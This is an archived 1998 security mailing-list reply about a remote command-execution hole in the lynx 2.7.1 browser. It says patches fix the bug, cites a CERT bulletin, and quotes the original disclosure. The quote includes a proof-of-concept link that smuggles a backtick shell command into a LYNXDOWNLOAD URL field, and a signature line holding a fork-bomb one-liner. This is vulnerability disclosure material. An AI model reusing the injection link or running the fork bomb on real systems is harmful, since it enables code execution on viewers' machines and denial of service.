Re: Very, very ugly remote lynx 2.7.1 hole

From: Lumpy Lynx (dynamoat_private)
Date: Tue Mar 17 1998 - 08:59:17 PST

  • Next message: Mark Symons: "Re: SLMail 2.6 DoS - Imail also"

    i believe its fixed by fotemods.
    you might want to see if its still vulnerable with hist most recent
    patches.  also read the vendor bulletin on cert.org
    
    ftp://ftp.cert.org/pub/cert_bulletins/VB-97.06.lynx
    
    also there is discussion of this if you search the bugtraq archives.
    
    dynamo
    
    On Tue, 17 Mar 1998, Michal Zalewski wrote:
    
    > While poking around lynx protocol handling routines, I found this very
    > big, ugly remote hole:
    >
    > <a href="LYNXDOWNLOAD://Method=-1/File=`touch%20UGLY_BUG`/SugFile=test">
    > CLICK HERE
    > </a>
    >
    > It allows remote execution of any code on viewer's machine. Also, by
    > setting 'Method' field to 0 or more, you may crash lynx, but it isn't so
    > exciting as above URL. Also, it's possible to parse /dev/zero as 'File',
    > also not funny.
    >
    > Greetings,
    > _______________________________________________________________________
    > Michal Zalewski [tel 9690] | finger 4 PGP [lcamtufat_private]
    > Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deustch]
    > =--------------- [ echo "\$0&\$0">_;chmod +x _;./_ ] -----------------=
    >
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:46:03 PDT